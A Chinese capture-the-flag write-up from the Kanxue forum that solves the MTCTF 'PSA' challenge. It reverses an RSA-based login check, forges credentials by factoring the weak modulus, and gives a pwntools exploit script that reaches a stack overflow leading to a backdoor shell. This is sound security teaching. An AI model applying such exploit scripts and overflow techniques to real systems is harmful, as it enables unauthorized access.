MTCTF-PSA-Writeup

本文为看雪论坛优秀文章
看雪论坛作者ID：vagr4nt

PSA这道题当时归到PWN类型下，到比赛截止是2sol。但其实这道题主要问题还是在它的逆向部分。

1

解题过程

IDA打开看到给了一个很像是登录的逻辑判断：

如果用户名和密码对了就给你进到栈溢出函数vuln()：

int vuln()
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]
 
  buf = 0LL;
  v2 = 0LL;
  printf("You can set message: ", 0LL, 0LL);
  read(0, &buf, 0x1AuLL);
  return printf("OK, recv!", &buf);
}

进入到先前的函数，可以看到题目进行了很多大数库操作，包括执行了bn_mod_exp之类的函数，基本上就可以判定是RSA，下面的代码我略修改过，所以基本上容易看清。

signed __int64 __fastcall public_block_operation(__int64 a1, unsigned int *a2, __int64 a3, unsigned int a4, _DWORD *a5)
{
  _DWORD *v6; // [rsp+8h] [rbp-468h]
  char v7; // [rsp+30h] [rbp-440h]
  char m; // [rsp+140h] [rbp-330h]
  char e; // [rsp+250h] [rbp-220h]
  char c; // [rsp+360h] [rbp-110h]
  unsigned int edigits; // [rsp+468h] [rbp-8h]
  unsigned int ndigits; // [rsp+46Ch] [rbp-4h]
 
  v6 = a5;
  bn_decode((__int64)&m, 65u, a3, a4);
  bn_decode((__int64)&v7, 0x41u, (__int64)(v6 + 1), 256);
  bn_decode((__int64)&e, 0x41u, (__int64)(v6 + 65), 256);
  ndigits = bn_digits((__int64)&v7, 65);
  edigits = bn_digits((__int64)&e, 65);
  if ( (signed int)bn_cmp((__int64)&m, (__int64)&v7, ndigits) >= 0 )
    return 4097LL;
  bn_mod_exp((__int64)&c, (__int64)&m, (__int64)&e, edigits, (__int64)&v7, ndigits);
  *a2 = (unsigned int)(*v6 + 7) >> 3;
  bn_encode(a1, *a2, (__int64)&c, ndigits);
  memset(&c, 0, 0x104uLL);
  memset(&m, 0, 0x104uLL);
  return 0LL;
}

那么接下的核心问题是确定公钥N和e：

注意到这里的e是用十六进制去存储的，也就是{0x01, 0x00, 0x01}，即65537。N是小端序存储的，即0xdbea。

回到核心判断逻辑：

puts("Login\nPlease input your name:");
  v13 = read(0, buf, 0x100uLL);
  public_block_operation((__int64)v11, (unsigned int *)&v10, (__int64)buf, v13, &pk);
  for ( i = 0; i <= 255 && !v11[i]; ++i )
    ;
  v0 = &v11[i];
  v1 = v0[1];
  *(_QWORD *)s2 = *v0;
  v9 = v1;
  puts("Please input your password:");
  memset(buf, 0, 0x100uLL);
  v13 = read(0, buf, 0x100uLL);
  public_block_operation((__int64)v11, (unsigned int *)&v10, (__int64)buf, v13, &pk);
  for ( i = 0; i <= 255 && !v11[i]; ++i )
    ;
  v2 = &v11[i];
  v3 = v2[1];
  *(_QWORD *)s = *v2;
  v7 = v3;
  if ( strcmp("root", s2) )
    goto LABEL_22;
  if ( strlen(s) != 6 )
    goto LABEL_22;
  i = 0;
  while ( i <= 5 )
  {
    v4 = i++;
    asc_2040A3[v4] ^= 0x11u;
  }
  if ( !strcmp(asc_2040A3, s) )
  {
    puts("Welcome back, administrator. ");
    result = vuln();
  }

以用户名为例，读入用户名后经过public_block_operation的一轮RSA加密，结果存放在v11中。然后v11首先去除掉首部的空字节，然后以Qword形式存放到s中。

说穿了就是截取加密后密文的前8个字节，然后去和'root'作比较。这里可以用GDB简单调试验证下：

我输入的username是'aaa\n'，跟进来在strcmp之前rsi的值与RSA加密结果的前几位一致。

下面那个password处理和这个同理，只不过加了一个简单异或，就不再赘述。

那么问题的核心就在于找到一个明文字符串，用公钥加密后的前几个字节必须是root。

那么直接用\x00填充构建一个8字节的密文'root\x00\x00\x00\x00'，然后反推明文，这个就是解RSA或模方程的问题了，不难，此题公钥N可以容易地被分解，password部分是同理的。

最后是栈溢出部分，题目还给了一个backdoor，里面是system('/bin/sh')，只要覆盖返回地址为backdoor地址就行了，但是我记得这题开了随机地址+覆盖字节数限制，只有一定的概率能覆盖成功。

exp如下即可进入栈溢出函数：

from pwn import *
rs = process('./rsa')
rs.sendline('2')
rs.recvuntil('your name:\n')
fuck="TNH\x8b\x96\xca\xed\x02\xbdpb\xecv\xc2_\x87\x91\x8cFU\xf1^\xd7L3\xc4X\xcd1E\xc7d\xa7\xcb\x83\x08\xec\x1eQ\xfe;\xe5\xd1K\xf5\xa0\x06\xdc\x1a@Ux8\xe2kE[\xe9exn\x06\xe2\xd2\xadr\xcc\x99\x14n\xb0,\xe8\x95//\x0ca\\\n[\x9e4O\xde\x9b>\x9a\xedLf\xa0'a\x8b\xc7wW0\x85\n\xa4C\x94o\xab\xb4K\xfcDv\x96f5]c\x97\xd9`\x00\xbe\xc4R\x19\xd9Q\xeb<"
rs.send(fuck)
 
fuck2='\x80\xc7\x1e\xc6\xfe\x92\xee\xcb\xef2\xe3\xdf\xc2\xc2\x8a\xb0\xa6\xda\x8b\xbb\xddW\xbd9[\x97\xa9\xeeb\x9f\xba\xbe]\xa3\xd21(@\x04\x01\x9eg\\j\x89\xf2\xc6\xd2\x87\xd5\xeb\x8e\xbf\xcc\x00\xc0q\x89\x19?\xcf\xfcU\xfeq-{\xb6\xb9\xaf\xe8\xb6e\xcb\xb9\x12\x13.h\xce@\xd2\xcef\xff\xd8\xd2\xa5\xc4^\x8eKB\xee\xf5Q\x17X\xb60\xcd\xaa>7\x1f\x82S\xb9F Hg\xf5\xde\xb0r*\xda\x9a\xaa\x99M`\xe8,\xa0d\xb2'
rs.recvuntil('your password:\n')
rs.send(fuck2)
rs.interactive()

栈溢出以后getshell，当时的老图贴上来：

看雪ID：vagr4nt

https://bbs.pediy.com/user-home-904020.htm

*本文由看雪论坛 vagr4nt 原创，转载请注明来自看雪社区

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